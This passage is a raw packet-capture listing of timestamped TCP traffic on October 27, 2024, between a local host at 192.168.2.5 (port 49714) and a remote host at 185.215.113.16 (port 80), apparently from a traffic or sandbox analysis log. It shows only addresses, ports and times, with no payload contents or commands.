Oct 27, 2024 17:17:25.507555008 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507564068 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.507867098 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507885933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507895947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507922888 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.507932901 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.507977962 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507989883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.507999897 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508012056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508023024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508023977 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.508045912 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.508481979 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508527994 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.508594990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508606911 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508646965 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.508729935 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508740902 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508752108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508761883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508773088 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.508774042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508785009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508805037 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508809090 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.508816004 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508826971 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.508827925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508838892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508852959 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.508853912 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.508879900 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.549802065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.549834967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.549869061 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.549873114 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.549906969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.549953938 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.552829027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.552894115 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.553394079 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.553428888 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.553487062 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.585796118 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.585855007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.585886002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.585925102 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.585942030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.585963964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.586159945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.624361992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624416113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624468088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624500036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624535084 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624567032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624566078 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.624603033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624614954 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.624614954 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.624638081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624866009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624916077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.624917030 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.624949932 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625006914 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.625067949 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625098944 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625111103 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.625134945 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625169039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625228882 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.625260115 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625288963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625335932 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.625381947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625411034 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625446081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625458956 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.625488043 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.625495911 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625528097 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625679016 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625710964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625720024 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.625744104 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625754118 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.625833988 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625879049 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.625945091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.625976086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626027107 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.626090050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626121998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626154900 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626163960 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.626219988 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626262903 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.626271009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626559019 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626591921 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626641035 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626657009 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.626673937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626682997 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.626708031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626964092 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.626996994 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.627023935 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.627028942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.627044916 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.627062082 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.630058050 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.645098925 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.667810917 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.667845964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.667864084 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.667948961 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.670650005 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.670685053 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.670717001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.670753956 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.670782089 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.703454018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.703486919 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.703510046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.703526020 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.703557968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.703603029 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.703632116 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.741722107 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.741756916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.741790056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.741816044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.741841078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.741846085 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.741873980 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.741909027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.741918087 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.741940975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.741975069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.741983891 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.742271900 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742345095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742392063 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.742398024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742430925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742481947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742516994 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742523909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.742547989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742567062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742572069 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.742600918 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742603064 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.742635965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742667913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742680073 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.742759943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742809057 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.742811918 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742844105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742851019 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.742907047 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742939949 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.742955923 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.743118048 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743158102 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.743182898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743215084 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743318081 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.743570089 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743621111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743654013 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743663073 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.743694067 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743743896 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.743743896 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743793964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743828058 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743838072 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.743860006 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743891954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743925095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.743928909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.744113922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.744146109 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.744158030 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.744182110 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.744196892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.744229078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.744262934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.744271040 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.776865959 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.785218954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.785254002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.785286903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.785321951 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.785356045 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.788260937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.788310051 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.788348913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.788379908 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.788388968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.789875984 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.821176052 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.821228027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.821261883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.821295023 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.821295977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.821332932 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.821361065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.821391106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.821443081 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.859246016 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859301090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859342098 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.859370947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859409094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859445095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859486103 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.859513998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859563112 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.859565973 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859599113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859677076 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.859896898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859949112 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.859982014 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860033035 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.860069036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860101938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860116959 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.860136986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860188007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860209942 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.860222101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860250950 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860290051 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.860301971 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860337019 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860343933 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.860369921 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860407114 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860440016 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860454082 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.860475063 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.860476017 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860503912 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860542059 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.860654116 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860764027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860814095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860853910 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.860905886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.860970020 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861004114 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861017942 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.861042023 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.861085892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861166954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861208916 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.861216068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861251116 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861284018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861299038 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.861319065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861351967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861386061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861397982 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.861424923 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.861550093 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861586094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861633062 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.861639023 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861671925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861706018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861718893 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.861737967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861772060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861799002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.861815929 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.861836910 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.903079033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.903130054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.903167963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.903187037 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.905596972 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.905642986 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.905653000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.905687094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.905778885 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.915482044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.938896894 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.938951969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.938987017 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.939023018 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.939038992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.939070940 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.939143896 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.976759911 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.976809978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.976861000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.976893902 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.976898909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.976929903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.976962090 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.976963997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.976999044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977024078 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977031946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977065086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977091074 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977096081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977130890 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977138042 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977267027 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977365017 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977395058 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977428913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977462053 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977463007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977494955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977529049 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977606058 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977638960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977672100 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977674007 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977689028 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977783918 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977785110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977817059 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977828979 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977849960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977884054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.977910995 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.977916002 CET	80	49714	185.215.113.16	192.168.2.5
